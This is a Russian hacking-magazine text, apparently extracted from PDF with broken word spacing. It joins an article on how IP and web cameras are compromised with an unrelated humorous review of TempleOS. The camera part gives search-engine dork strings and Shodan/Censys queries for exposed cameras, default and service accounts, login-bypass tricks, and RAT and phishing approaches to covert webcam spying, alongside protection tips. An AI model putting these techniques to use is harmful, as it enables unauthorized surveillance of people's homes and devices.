Уяз вимые  камеры  наб людения  мож но  отыс кать  через  Google  или  дру гой
поис ковик с помощью прод винутых зап росов. Нап ример:

inurl:«wvhttp‐01»
inurl:«viewerframe?mode=»
inurl:«videostream.cgi»
inurl:«webcapture»
inurl:«snap.jpg»
inurl:«snapshot.jpg»
inurl:«video.mjpg»

На ходим камеры через Google

Ку да удоб нее искать их через  . Для начала мож но огра ничить ся прос ‐
тым зап росом  , а затем перей ти к более прод винутым: 

,  ,  , 
  и  дру гим.  Под робнее  об  исполь зовании  это го  поис ковика  читай

в статье « ».

Shodan
netcam netcam city:

Moscow netcam  country:RU webcamxp  geo:55.45,37.37 linux  upnp
avtech

Бе лая шля па для Shodan

Ищем камеры в Shodan

Прек расно  ищет  камеры  и  .  Язык  зап росов  у  него  чуть  слож нее,
но разоб рать ся  с  ним  тоже боль шого  тру да не сос тавит. Нап ример,  зап рос

 покажет камеры, под клю чен ные к  IP‐
виде оре гис тра тору,  а    най дет  камеры  про ‐
изводс тва Axis. О том, как работать с Censys, мы тоже уже писали — в статье
« ».

Censys

80.http.get.body:"DVR Web Client"
metadata.manufacturer:"axis"

Что уме ет Censys?

Ищем камеры в Censys

Еще  один  шикар ный  поис ковик  по  «интерне ту  вещей» —  .  Камеры
в нем находят ся по зап росам   или  .

ZoomEye
device:webcam device:media device

Ищем камеры в ZoomEye

Мож но  искать  и  по  ста рин ке,  баналь но  ска нируя  диапа зоны  IP‐адре сов
в  поис ках  харак терно го  откли ка  от  камеры.  Получить  спи сок  айпиш ников
опре делен ного города мож но на  . Там же есть 

 на слу чай, если у тебя до сих пор нет собс твен ного.
этом веб‐сер висе ска нер пор ‐

тов
В пер вую оче редь нас инте ресу ют пор ты 8000, 8080 и 8888, пос коль ку они

час то заданы по умол чанию. Узнать дефол тный номер пор та для кон крет ной
камеры  мож но  в  ее  руководс тве.  Номер  прак тичес ки  никог да  не  меня ют.
Естес твен но, на любом пор те мож но обна ружить и дру гие сер висы, поэто му
резуль таты поис ка при дет ся допол нитель но филь тро вать.

RTFM!

Уз нать модель обна ружен ной камеры прос то: обыч но она ука зана на титуль ‐
ной стра нице веб‐интерфей са и в ее нас трой ках.

Уз наем модель камеры и нас тра иваем ее

Ког да я говорил в начале статьи об управле нии камера ми через «фир менное
кли ент ское при ложе ние», то имел в виду прог раммы вро де iVMS 4xxx, которая
пос тавля ется  с  камера ми  Hikvision.  На  сай те  раз работ чика  мож но  почитать

.  Если  ты  най дешь
такую  камеру,  то  с  боль шой  веро ятностью  на  ней  будет  сто ять  завод ской
пароль, и прог рамма пре дос тавит к ней пол ный дос туп.

рус ско языч ный  ману ал  к  прог рамме  и  самим  камерам

С пароля ми к камерам наб людения дела вооб ще обсто ят край не весело.
На некото рых камерах пароля прос то нет и авто риза ция отсутс тву ет нап рочь.
На дру гих сто ит задан ный по умол чанию пароль, который лег ко най ти в ману ‐
але  к  камере.  На  сай те  ipvm.com  опуб ликован    самых  час то  встре ‐
чающих ся логинов и паролей, уста нов ленных на раз ные модели камер.

спи сок

admin/admin, открой ся!

Час то  быва ет,  что  про изво дитель  оста вил  в  про шив ке  камеры  слу жеб ный
вход  для  сер вис‐цен тров.  Он  оста ется  откры тым  даже  пос ле  того,  как  вла ‐
делец  камеры  сме нил  дефол тный  пароль.  В  ману але  его  уже  не  проч тешь,
а вот най ти на темати чес ких форумах мож но.
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https://www.shodan.io/
https://xakep.ru/issues/xa/194
https://censys.io/
https://xakep.ru/2016/01/08/censys/
https://www.zoomeye.org/
https://4it.me/getlistip
https://4it.me/portscan
https://www.hikvision.msk.ru/
https://ipvm.com/reports/ip-cameras-default-passwords-directory


КАК ВЗЛАМЫВАЮТ IP‐ И ВЕБ‐КАМЕРЫ
И КАК ОТ ЭТОГО ЗАЩИТИТЬСЯ

COVERSTORY  НАЧАЛО СТАТЬИ←

Ог ромная проб лема сос тоит в том, что во мно гих камерах исполь зует ся один
и тот же веб‐сер вер GoAhead. В нем есть нес коль ко  ,
которые про изво дите ли камер не спе шат пат чить.

из вес тных уяз вимос тей

  датиру ‐
ется 2002 годом, а в прош лом году в нем 

, при водя щую к RCE.

Пер вое  упо мина ние GoAhead в  «Хакере»
наш ли

уяз вимость

GoAhead,  в  час тнос ти,  под вержен  перепол нению  сте ка,  которое  мож но
вызывать прос тым зап росом HTTP GET. Ситу ация усложня ется еще и тем, что
китай ские  про изво дите ли  модифи циру ют  GoAhead  в  сво их  про шив ках,
добав ляя новые дыры.

Вли вай ся, милок!

На  сегод няшний  день  боль ше  мил лиона  IP‐камер  и  IP‐виде оре гис тра торов
раз ных про изво дите лей поз воля ют уда лен но получить дос туп к их нас трой кам
безо вся кой авто риза ции. Скрипт на Python, авто мати зиру ющий ата ку на уяз ‐
вимые  устрой ства,  уже  выложен  на  .  Проб лема  была  обна руже на
в начале 2017 года при ревер синге про шивок DVR про изводс тва Dahua Tech‐
nology.  Чуть  поз же  выяс нилось,  что  она  зат рагива ет  более  тысячи  моделей
раз ных про изво дите лей. Они прос то тиражи рова ли ошиб ки друг дру га. Автор
обе щал дать вре мя на исправ ление и пока не рас кры вать всех деталей, но он
готов  поделить ся  ими  при ват но  по  email  со  все ми  спе циалис тами
по безопас ности. Если у  тебя есть сер тификат CEH  (Certified Ethical Hacker)
или ана логич ный — можешь поп робовать.

GitHub

До бавим яркости!

В  коде  дру гих  про шивок  встре чают ся  такие  ляпы,  как  кри вые  условные
перехо ды. Такая камера откры вает дос туп, если ввес ти неп равиль ный пароль
или прос то нажать кноп ку «Отме на» нес коль ко раз. Во вре мя нашего иссле ‐
дова ния  мне  попалось  более  десят ка  таких  камер.  Так  что,  если  ты  устал
переби рать дефол тные пароли, поп робуй клик нуть Cancel — есть шанс вне ‐
зап но получить дос туп.

Ка меры  сред него  и  высоко го  клас са  осна щают  поворот ными  креп лени ‐
ями. Взло мав такую, мож но сме нить ракурс и пол ноцен но осмотреть все вок ‐
руг. Осо бен но занят но быва ет играть в перетя гива ние камеры, ког да, помимо
тебя, ей одновре мен но пыта ется управлять кто‐то еще. В общем слу чае ата ‐
кующий  получа ет  пол ное  управле ние  камерой  пря мо  из  сво его  бра узе ра,
прос то обра тив шись по нуж ному адре су.

Уп равле ние камерой

Ког да  говорят  о  тысячах  уяз вимых  камер,  хочет ся  под робнее  разоб рать
хотя бы одну. Пред лагаю начать с популяр ного про изво дите ля Foscam. Пом ‐
нишь, я говорил про слу жеб ные вхо ды? Так вот у камер Foscam и мно гих дру ‐
гих они есть. Помимо встро енной  учет ки  admin,  пароль  к  которой рекомен ‐
дует ся задать при пер вом вклю чении камеры, есть еще один акка унт — 

.  Его  пароль  по  умол чанию  пус той,  и  его  ред ко  кто  догады вает ся  сме ‐
нить.

oper‐
ator

Ло гиним ся как опе ратор и добав ляем новые учет ки

Кро ме  того,  у  камер  Foscam  очень  узна ваемые  адре са  из‐за  шаб лонной
регис тра ции. В общем слу чае он выг лядит как  , где
пер вые  два    —  бук вы  латини цы,  а  пос леду ющие  четыре  —  поряд ковый
номер в десятич ном фор мате.

xxxxxx.myfoscam.org:88
xx

Ес ли камера под клю чена к IP‐виде оре гис тра тору, то мож но не толь ко уда ‐
лен но наб людать в реаль ном вре мени, но и прос мотреть преж ние записи.

Смот рим запись из бэкапа

Про фес сиональ ные  камеры  наб людения  осна щены  допол нитель ным  дат ‐
чиком  —  детек тором  дви жения,  который  работа ет  даже  в  пол ной  тем ноте
бла года ря  ИК‐при емни ку.  Это  инте рес нее  пос тоян но  вклю чен ной  ИК‐под ‐
свет ки,  так  как  не  демас киру ет  камеру  и  поз воля ет  ей  вес ти  скры тое  наб ‐
людение.  Люди  всег да  све тят ся  в  ближ нем  ИК‐диапа зоне  (по  край ней
мере — живые). Как толь ко сен сор зафик сиру ет дви жение, кон трол лер вклю ‐
чает  запись.  Если  фото эле мент  сиг нализи рует  о  низ кой  осве щен ности,
допол нитель но вклю чает ся под свет ка. При чем точ но в момент записи, ког да
уже поз дно зак рывать ся от объ екти ва.

Де шевые  камеры  устро ены  про ще.  У  них  нет  отдель ного  дат чика  дви ‐
жения,  а  вмес то  него исполь зует ся  срав нение  кад ров  с  самой  веб‐камеры.
Если кар тинка отли чает ся от пре дыду щей, зна чит, в кад ре что‐то изме нилось
и  надо  это  записать.  Если  дви жение  не  зафик сирова но,  то  серия  кад ров
прос то  уда ляет ся.  Это  эко номит  мес то,  тра фик  и  вре мя  на  пос леду ющую
перемот ку видео. Боль шинс тво детек торов дви жения нас тра ивают ся. Мож но
задать  порог  сра баты вания,  что бы  не  про токо лиро вать  любое  шевеле ние
перед  камерой,  и  нас тро ить  допол нитель ные  опо веще ния.  Нап ример,
отправ лять СМС и пос леднюю фот ку с камеры сра зу на смар тфон.

Нас тра иваем детек тор дви жения камеры

Прог рам мный детек тор дви жения силь но усту пает аппа рат ному и час то ста ‐
новит ся  при чиной  казусов.  В  ходе  сво их  изыс каний  я  нат кнул ся  на  две
камеры, которые неп рерыв но сла ли алер ты и записы вали гигабай ты «ком про ‐
мата».  Все  тре воги  ока зались  лож ными.  Пер вая  камера  была  уста нов лена
сна ружи какого‐то скла да. Она зарос ла паути ной, которая дро жала на вет ру
и сво дила детек тор дви жения с ума. Вто рая камера была рас положе на в офи ‐
се нап ротив мига юще го огонь ками роуте ра. В обо их слу чаях порог сра баты ‐
вания был слиш ком низ ким.

ВЗЛОМ ВЕБ-КАМЕР
Веб‐камеры, которые работа ют через уни вер саль ный драй вер, час то называ ‐
ют  UVC‐сов мести мыми  (от  USB  Video  Class —  UVC).  Взло мать  UVC‐камеру
про ще, пос коль ку она исполь зует стан дар тный и хорошо задоку мен тирован ‐
ный про токол. Одна ко в любом слу чае для дос тупа к веб‐камере ата кующе му
при дет ся сна чала получить кон троль над компь юте ром, к которо му она под ‐
клю чена.

Тех ничес ки дос туп к веб‐камерам на компь юте рах с Windows любой вер ‐
сии  и  раз ряднос ти  осу щест вля ется  через  драй вер  камеры,  филь тры  Direct‐
Draw и кодеки VFW. Одна ко начина юще му хакеру не тре бует ся вни кать во все
эти детали, если он не собира ется писать прод винутый бэк дор. Дос таточ но
взять любую «кры су» (RAT — Remote Admin Tool) и слег ка модифи циро вать ее.
Средств  уда лен ного  адми нис три рова ния  сегод ня  прос то  уйма.  Кро ме
отборных  бэк доров  с  VX  Heaven,  есть  и  впол не  закон ные  ути литы,  вро де
Ammyy Admin,  LiteManager,  LuminosityLink,  Team Viewer  или Radmin. Все,  что
опци ональ но  тре бует ся  изме нить  в  них,  —  это  нас тро ить  авто мати чес кий
при ем  зап росов  на  уда лен ное  под клю чение  и  сво рачи вание  глав ного  окна.
Даль ше дело за метода ми соци аль ного инжи нирин га.

Де вуш ка, живущая в сети

Ко домо дифи циро ван ная кры са заг ружа ется жер твой по фишин говой ссыл ке
или  про пол зает  на  ее  компь ютер  сама  через  пер вую  обна ружен ную  дыру.
О  том,  как  авто мати зиро вать  этот  про цесс,  смот ри  в  статье  «

».  Кста ти,  будь  осто рожен:  боль шинс тво  ссы лок
на «прог раммы для взло ма камер» сами фишин говые и могут при вес ти тебя
к ска чива нию мал вари.

Gophish  —
фрей мворк  для  фишин га

У рядово го поль зовате ля боль шую часть вре мени веб‐камера неак тивна.
Обыч но о ее вклю чении пре дуп режда ет све тоди од, но даже с таким опо веще ‐
нием  мож но  выпол нять  скры тое  наб людение.  Как  ока залось,  инди кацию
активнос ти  веб‐камеры  мож но  отклю чить  даже  в  том  слу чае,  если  питание
све тоди ода и CMOS‐мат рицы физичес ки  вза имос вязано. Это  уже про делы ‐
вали с веб‐камера ми iSight, встро енны ми в MacBook. Иссле дова тели Бро кер
и  Чеко уэй  из  уни вер ситета  Джо на  Хоп кинса  написа ли  ути литу  ,
которая  запус кает ся  от  прос того  поль зовате ля  и,  экс плу ати руя  уяз вимость
кон трол лера Cypress, под меня ет его про шив ку. Пос ле запус ка жер твой iSeeY‐
ou  ата кующий  получа ет  воз можность  вклю чать  камеру,  не  зажигая  ее  инди ‐
катор активнос ти.

iSeeYou

Уяз вимос ти регуляр но находят и в дру гих мик рокон трол лерах. Спе циалист
ком пании    соб рал  целую  кол лекцию  таких  экс пло итов  и  показал  при ‐
меры их исполь зования. Прак тичес ки все най ден ные уяз вимос ти отно сились
к 0day, но сре ди них были и дав но извес тные, которые про изво дите ли прос то
не собира лись устра нять.

Prevx

Спо собов дос тавить экс пло иты ста новит ся все боль ше, а отло вить их все
труд нее. Анти виру сы час то пасу ют перед модифи циро ван ными фай лами PDF,
име ют  пре дус танов ленные  огра ниче ния  на  про вер ку  боль ших  фай лов  и  не
могут про верить зашиф рован ные ком понен ты мал вари. Более того, полимор ‐
физм или пос тоян ная переком пиляция боевой наг рузки ста ла нор мой, поэто ‐
му сиг натур ный ана лиз дав но ото шел на вто рой план. Внед рить тро ян, откры ‐
вающий уда лен ный дос туп к веб‐камере, сегод ня ста ло исклю читель но прос ‐
то. Это одна из популяр ных забав сре ди трол лей и script kiddies.

Лю бую веб‐камеру мож но прев ратить в подобие IP‐камеры, если уста новить
на под клю чен ном к ней устрой стве сер вер виде онаб людения. На компь юте ‐
рах мно гие исполь зуют для  этих  целей ста рый webcamXP,  чуть более новый

 и подоб ные прог раммы.webcam 7
Для  смар тфо нов  есть  ана логич ный  софт  —  нап ример,  .  Эта

прог рамма уме ет сох ранять видео в облачный хос тинг, осво бож дая локаль ‐
ную память смар тфо на. Одна ко дыр в таких прог раммах и самих ОС хва тает,
поэто му взло мать управля емые ими веб‐камеры час то ока зыва ется не слож ‐
нее, чем IP‐камеры с дырявой про шив кой.

Salient  Eye

Webcam 7 показы вает видео без авто риза ции

СМАРТФОН КАК СРЕДСТВО НАБЛЮДЕНИЯ
В пос леднее вре мя ста рые смар тфо ны и план шеты неред ко прис посаб лива ‐
ют для домаш него виде онаб людения. Чаще все го на них ста вят Android Web‐
cam  Server  —  прос тое  при ложе ние,  которое  тран сли рует  виде опо ток
со  встро енной  камеры  в  интернет.  Оно  при нима ет  зап росы
на порт 8080 и откры вает панель управле ния на стра нице с говоря щим наз ‐
вани ем  .  Попав  на  нее,  мож но  менять  нас трой ки  камеры
и смот реть изоб ражение пря мо в окне бра узе ра (со зву ком или без).

/remote.html

Обыч но такие смар тфо ны показы вают доволь но уны лые кар тины. Вряд ли
тебе инте рес но смот реть на спя щего пса или на при пар кован ную воз ле дома
машину.  Одна ко  Android  Webcam  Server  и  ана логич ные  при ложе ния  мож но
исполь зовать  ина че.  Помимо  тыловой  камеры,  у  смар тфо нов  есть  и  фрон ‐
таль ная.  Почему  бы  нам  не  вклю чить  ее?  Тог да  мы  уви дим  дру гую  сто рону
жиз ни вла дель ца смар тфо на.

Пе рек люча ем камеры
смар тфо на

ЗАЩИТА ОТ ПОДГЛЯДЫВАНИЯ
Пер вое,  что  при ходит  на  ум  боль шинс тву  людей
пос ле  демонс тра ции  лег кого  взло ма  камер,  —
это  зак леивать  их  изо лен той.  Вла дель цы
веб‐камер  со штор кой  счи тают,  что  их  проб лема
под гля дыва ния  не  каса ется,  и  зря.  Воз можно
еще и под слу шива ние, пос коль ку, кро ме объ екти ‐
ва, у камер есть мик рофон.

Раз работ чики  анти виру сов  и  дру гих  ком плек ‐
сов  прог рам мной  защиты  исполь зуют  путани цу
в  тер миноло гии  для  прод вижения  сво их  про дук ‐
тов.  Они  пуга ют  ста тис тикой  взло ма  камер
(которая  дей стви тель но  впе чат ляет,  если  в  нее
вклю чить IP‐камеры), а сами пред лага ют решение
для кон тро ля дос тупа к веб‐камерам, при чем тех ‐
ничес ки огра ничен ное.

За щиту  IP‐камер  мож но  повысить  прос тыми  средс тва ми:  обно вив  про ‐
шив ку, сме нив пароль, порт и отклю чив учет ные записи по умол чанию, а так же
вклю чив филь тра цию IP‐адре сов. Одна ко это го мало. Мно гие про шив ки име ‐
ют неус тра нен ные ошиб ки,  которые поз воля ют получить дос туп безо вся кой
авто риза ции — нап ример, по стан дар тно му адре су веб‐стра ницы с LiveView
или  панели  нас тро ек.  Ког да  находишь  оче ред ную  дырявую  про шив ку,  так
и хочет ся ее обно вить уда лен но!

По моги обно вить про шив ку уяз вимой камеры

Взлом  веб‐камеры —  сов сем  дру гое  дело.  Это  всег да  вер хушка  айсбер га.
Обыч но к тому вре мени, ког да ата кующий получил к ней дос туп, он уже успел
порез вить ся на локаль ных дис ках, украсть учет ки всех акка унтов или сде лать
компь ютер частью бот нета.

Тот  же  Kaspersky  Internet  Security  пре дот вра щает  несан кци они рован ный
дос туп  толь ко  к  виде опо току  веб‐камеры. Он не  помеша ет  хакеру  изме нить
ее нас трой ки или вклю чить мик рофон. Спи сок защища емых им моделей офи ‐
циаль но  огра ничи вает ся  веб‐камера ми  Microsoft  и  Logitech.  Поэто му  фун ‐
кцию «защита веб‐камеры» сто ит вос при нимать лишь как допол нение.

ПОДГЛЯДЫВАЮЩИЕ САЙТЫ
От дель ная  проб лема  —  ата ки,  свя зан ные  с  реали заци ей  управле ния  дос ‐
тупом  к  камере  в  бра узе рах.  Мно гие  сай ты  пред лага ют  сер висы  обще ния
с исполь зовани ем камеры, поэто му зап росы дос тупа к ней и ее встро енно му
мик рофону всплы вают в бра узе ре по десять раз на день. Осо бен ность здесь
в том, что на сай те может исполь зовать ся скрипт, который откры вает pop‐un‐
der  (допол нитель ное  окно  в фоне).  Это му  дочер нему  окну  переда ются  раз ‐
решения родитель ско го. Ког да ты зак рыва ешь основную стра ницу, мик рофон
оста ется  вклю чен ным  на  фоновой.  Из‐за  это го  воз можен  сце нарий,
при котором поль зователь дума ет, что закон чил раз говор, а на деле собесед ‐
ник (или кто‐то еще) про дол жает его слы шать.

В  боль шинс тве  бра узе ров  раз решения  хра нят ся  пос тоян но,  поэто му
при сле дующем посеще нии сай та тебя могут видеть и слы шать уже без пре ‐
дуп режде ния.  Сто ит  почаще  про верять  раз решения  дос тупа  к  веб‐камере
и  ее  мик рофону  для  раз ных  сай тов.  В  Google  Chrome  это  мож но  сде лать
на  стра нице  нас тро ек 

.  В  ста рых  вер сиях  Firefox  ана логич ные  нас трой ки  были  на  стра нице
,  а  в  новых  они  зада ются  отдель но  для  каж дого  сай та

при  кли ке  на  икон ку    сле ва  в  адресной  стро ке.  Под робнее  смот ри 
.

chrome://settings/contentExceptions#media‐
stream
about:permissions

(i) в
докумен тации Mozilla

https://www.cvedetails.com/vulnerability-list/vendor_id-1641/product_id-2833/Goahead-Goahead-Webserver.html
https://xakep.ru/2002/07/12/15785/
https://xakep.ru/2016/11/30/cctv-exploit/
https://github.com/mcw0/PoC/blob/master/dahua-backdoor.txt
https://xakep.ru/2016/12/07/gophish-phishing-framework-howto/
https://xakep.ru/2013/12/19/61789/
http://www.prevx.com/
http://www.webcamxp.com/
http://www.salient-eye.com/
https://support.mozilla.org/t5/%D0%97%D0%B0%D1%89%D0%B8%D1%82%D0%B8%D1%82%D0%B5-%D1%81%D0%B2%D0%BE%D1%8E-%D0%BF%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A6%D0%B5%D0%BD%D1%82%D1%80-%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C%D1%8E-%D0%B8-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0%D0%BC%D0%B8/ta-p/28385
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Здравс твуй,  брат  мой!  Сегод ня  мы  с  тобой  изу чим  одну
из самых инте рес ных опе раци онных сис тем сов ремен ности.

  занима ет  все го  17,5  Мбайт,  ком пилиру ется
на лету, содер жит пол ный текст Биб лии, под держи вает мно ‐
гоядер ные  64‐раз рядные  про цес соры  и  работа ет  в  бого ‐
угод ном раз решении 640 ✕ 480 в шес тнад цати цве тах. И это
лишь  малая  часть  замеча тель ных  и  необыч ных  черт
TempleOS!

TempleOS

Мно го  ли  ты  видел  опе раци онных  сис тем,  написан ных  одним  челове ком?
Такое,  пожалуй,  было  воз можно  лишь  в  эпо ху  зарож дения  сов ремен ных
компь юте ров. Автор TempleOS Тер ри Дэвис, человек невидан ного геро изма,
не убо ялся вер нуть ся к исто кам, что бы подарить миру неч то совер шенно пот ‐
ряса ющее.  Давай  же  ско рей  уста новим  TempleOS  и  озна комим ся  с  аза ми
этой поис тине невидан ной опе раци онной сис темы.

Этот матери ал был опуб ликован на пер вое апре ля в качес тве розыг рыша. Мы
решили,  что  вок руг  дос таточ но  стран ного  и  уди витель ного,  что бы  ничего
не выдумы вать. С одной сто роны, розыг рыш удал ся: мы на пол ном серь езе
написа ли  об  опе раци онной  сис теме,  раз работан ной  безум цем,  и  мно гие
при няли этот текст за чис тую монету.

С дру гой сто роны, шут ка уда лась толь ко отчасти. Одна из при чин — в том,
что  TempleOS  инте рес на,  нес мотря  на  все  ее  стран ности.  Еди ный  фор мат
гипер тек сто вых  докумен тов,  в  котором  выводит ся  всё,  начиная  от  кон соли
и закан чивая справ кой и кодом прог рамм, — это кон цепция, дос той ная срав ‐
нения с серь езны ми иссле дова тель ски ми про екта ми.

Вряд ли кто‐то, кро ме авто ра TempleOS, смо жет ей успешно поль зовать ся,
так что рекомен дуем вос при нимать ее как что‐то вро де художес твен ного про ‐
екта и необыч ного источни ка для вдох новения.

Од ну  из  уди витель ных  черт  TempleOS  ты  можешь  наб людать  еще  на  эта пе
заг рузки.

Как  видишь,  пер вое,  что  заг ружа ет  TempleOS, — это  ком пилятор. Он  тут же
ком пилиру ет всю поль зователь скую часть ОС из исходных кодов, написан ных
на язы ке HolyC («свя щен ный C»).

В Parallels, прав да, даль ше этих строк заг рузка не идет, но в VMware и Vir‐
tualBox таких проб лем нет. Мы выб рали вто рой и, как рекомен дует раз работ ‐
чик,  выс тавили  64‐раз рядную  архи тек туру  про цес сора  и  объ ем
памяти 512 Мбайт.

ПЕРВОЕ ЗНАКОМСТВО С TEMPLEOS
Слож но передать то чувс тво бла года ти, которое снис ходит на тебя, ког да ты
впер вые  запус каешь  TempleOS! И  уж  точ но  не  переда ет  его  этот  скром ный
скрин шот.  На  экра не  мига ют  два  кур сора,  в  заголов ке  каж дого  окна  —
бегущая стро ка. Праз дник, да и толь ко!

Как видишь, экран поделен на две час ти, и если тебе это напом нило Norton
Commander,  то  не  спе ши  с  вывода ми.  Перед  тобой  пол ноцен ный  окон ный
менед жер — ты можешь дви гать окна мышью, менять их порядок и раз меры
и так далее.

Пер вое,  что  нуж но  сде лать,  —  это  зак рыть  окош ко  с  под сказ кой,  клик нуть
в  левой  час ти  экра на  и  нажать  ,  сог ласив шись  уста новить  образ  сис темы
на диск вир туаль ной машины. Мож но работать и пря мо с Live CD, но тог да ты
не смо жешь сох ранять фай лы.

y

Ког да уста нов ка закон чится, вык лючай вир туал ку, отцепляй образ с Live CD и,
помолясь, сно ва вклю чай. Теперь TempleOS уста нов лена на диск  .C:

Как видишь, все работа ет очень быс тро, нес мотря на ком пиляцию на лету.
Все  дело  в  том,  что  в  TempleOS  нет  мно гих  вещей,  которы ми  перег ружены
сов ремен ные сис темы. В час тнос ти, нет боль шинс тва драй веров устрой ств,
под дер жки  сети  и  защиты  памяти.  От  кого,  ска жи,  пожалуй ста,  защищать
память,  если  за  компь юте ром  сидишь  ты  один?  Все  прог раммы  здесь
работа ют  на  уров не  ядра  —  это  эффектив но  и  боль шую  часть  вре мени
не вызыва ет никаких проб лем.

Что бы  сра зу  оце нить  всю  мощь  и  кра соту  TempleOS,  наж ми  на  кноп ку
Menu, которая мига ет в вер хней час ти любого окна.

Как  видишь,  TempleOS может  выводить  не  толь ко  текст,  но  и  гра фику,  ани ‐
мацию  и  даже  трех мерные  модели!  Толь ко  пос мотри  на  эти  вра щающиеся
тан ки и фигуры людей на знач ках. Пос мотри на них вни матель но. И еще нем ‐
ного.  А  теперь  ска жи,  может  ли  твоя  опе раци онка  выводить  3D  в  качес тве
знач ка при ложе ния? То‐то же, не может!

Но преж де чем ты, поражен ный внеш ней кра сотой TempleOS, перей дешь
к изу чению при ложе ний и игр,  раз реши обра тить  твое вни мание на  кра соту
внут реннюю. То велико лепие, что  ты видишь в меню, — это самый обыч ный
документ  TempleOS,  который  лежит  в  пап ке  Home  и  называ ется 

. Ты можешь отре дак тировать его или соз дать такой же!
Personal‐

Menu.DD.Z
Поп робуй нажать Ctrl‐T, что бы пос мотреть его тек сто вое пред став ление.

Рас ширение  DD  озна чает,  что  этот  файл  —  документ  в  фор мате  DolDoc.
Это  язык  раз метки  гипер тек сто вых  докумен тов,  что‐то  сред нее  меж ду  RTF
и HTML. Стро ки, обер нутые в зна ки  , содер жат шорт‐теги и парамет ры к ним.
Таким обра зом,  в  текст мож но  вста вить  кар тинку, мак рос,  ссыл ку  на дру гой
документ,  стра ницу  из  справ ки,  стих  Свя щен ного  Писания,  тек сто вый
или исполня емый файл, 3D‐модель или даже мелодию. DolDoc под держи вает
и инте рак тивные эле мен ты вро де кно пок, чек боксов и дре вовид ных струк тур.

$

Вот еще один занят ный факт. Вто рое рас ширение ( ) озна чает, что файл
заар хивиро ван.  TempleOS  при  их  откры тии  авто мати чес ки  разар хивиру ет
дан ные, а при сох ранении сжи мает обратно.

Z

ИГРЫ
К фор мату DolDoc мы вер немся чуть поз же, а пока — неболь шая передыш ка
на игры. Тер ри Дэвис, как чес тный и скром ный человек, заранее раз делил их
на  две  груп пы:  веселые  (Fun  Games)  и  невесе лые  (Unfun  Games).  Срав ни
с любым дис три бути вом Linux, где ник то не пре дуп режда ет, что из двад цати
игр на что‐то годит ся толь ко Pingus и с натяж кой — Tux Racer.

К  сожале нию,  пре дус мотри тель ность  Дэвиса  не  спа сает,  и  даже  игры
из раз дела Fun при дут ся по душе лишь самым неп рихот ливым.

Пер вой  мы  запус тили  гон ку  Varoom,  где  не  смог ли  удач но  про ехать
ни одно го кру га.

За тем  изу чили  бас кетболь ный  симуля тор  KeepAway,  в  котором  люди
без  голов  нетороп ливо  ходят  за  мячиком.  Иног да  уда ется  подоб рать  мяч
и бро сить его дру гому игро ку, но радос ти в этом не мно го.

Нам не пон равилась и стра тегия ToTheFront: зеленое поле, на котором мига ‐
ют загадоч ные сим волы. Попыт ки пос тичь их смысл и пра вила игры мы пос ‐
читали пус той тра той вре мени.

Иг ра Wenceslas отли чает ся неод нознач ным сюжетом: герой ходит и под жига ‐
ет деревья вок руг занесен ного сне гом дома, что бы кресть яне мог ли сог реть ‐
ся. Мож но ли делать что‐то еще, нам узнать не уда лось.

Сре ди  недоде лан ных  игр  (Code  Scraps)  мы  наш ли  инте рес ный  наб росок
ролевой  игры  в  сти ле  Rogue,  он  называ ется  DunGen.  Герой  переме щает ся
по слу чай но сге нери рован ному под земелью и встре чает вра гов. Вра ги никак
на него не реаги руют.

ZoneOut — игра про роящиеся в пус тыне розовые тан ки. Если стре лять в них,
они ста новят ся голубы ми и под пры гива ют. Если один из них наез жает на нас,
игра начина ет серь езно тор мозить.

Итак,  игры —  явно  не  конек  TempleOS.  Зато  мы  оце нили  пре дуп режде ние,
которое  встре тило  нас  перед  началом  игры  в  розовые  тан ки:  «Я  не  стал
переди рать ори гинал, и эта игра умыш ленно хре новая. Я написал ее исклю ‐
читель но  с  демонс тра цион ными  целями.  Пиши  игры,  не  играй  в  них».  Вот
и раз гадка!

mailto:apismenny@gmail.com
http://www.templeos.org/
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HOLYC И КОМАНДНАЯ СТРОКА
Пос луша ем доб рого совета и пос мотрим, как прог рамми ровать в TempleOS.
Но  сна чала  понадо бит ся  осво ить  азы  коман дной  стро ки.  Поль зовать ся  ей
с нас кока не получит ся:  если  ты по при выч ке напишешь   или  ,  то  уви ‐
дишь лишь угро жающие сооб щения об ошиб ках.

dir ls

А дело все в  том, что перед нами не коман дная стро ка, а интер пре татор
(вер нее,  JIT‐ком пилятор)  HolyC!  То  есть  вво дить  ты  дол жен  однос троч ные
прог раммы на си, которые тут же будут ском пилиро ваны и исполне ны.

Для вывода содер жимого катало га напиши

Dir;

Скоб ки  у  фун кций,  которые  вызыва ются  без  парамет ров,  в  HolyC  мож но
не  писать,  но  если  ты  хочешь  вывес ти  каталог  кон крет ной  дирек тории,  то
в  качес тве парамет ра  ука жи путь  к  ней.  То же самое с  коман дой Cd  (сме на
катало га):

Cd("C:/Demo/Games");

Од нако  нам ного  про ще  перехо дить  по  катало гам,  если  прос то  нажимать
на  наз вания  папок.  Кон соль ный  вывод,  как  и  все,  что  ты  видишь
в  TempleOS,  —  это  документ  DolDoc,  так  что  наз вания  фай лов  и  папок  —
это прос то гипер ссыл ки!

Но вот задач ка не для сла бых умов: как запус тить прог рамму из коман дной
стро ки? В си нет фун кций вро де Eval, которые мож но встре тить в динами чес ‐
ких  язы ках.  Зато  есть  дирек тива  ,  с  помощью  которой  один  файл
на си встав ляет ся в дру гой. Имен но ей и сле дует вос поль зовать ся:

#include

#include "CharDemo.HC.Z"

Вмес то   будет под став лено содер жимое фай ла .HC (от HolyC) и тут
же  ском пилиро вано  и  выпол нено.  Кра сота,  да  и  толь ко!  Кста ти,  каж дый  раз
писать   не нуж но — дос таточ но клик нуть по наз ванию фай ла пра вой
кноп кой мыши и выб рать Include из кон текс тно го меню.

#include

#include

Прос мотреть содер жимое фай ла мож но, клик нув на наз вание левой кноп кой
мыши. Выбери любой файл .HC, и убе дишь ся, что прог раммы не ском пилиро ‐
ваны заранее. Ты можешь прос матри вать и редак тировать исходни ки в любой
момент.

С  виду  HolyC  напоми нает  C++,  но  если  вгля деть ся  прис таль нее,  то  мож но
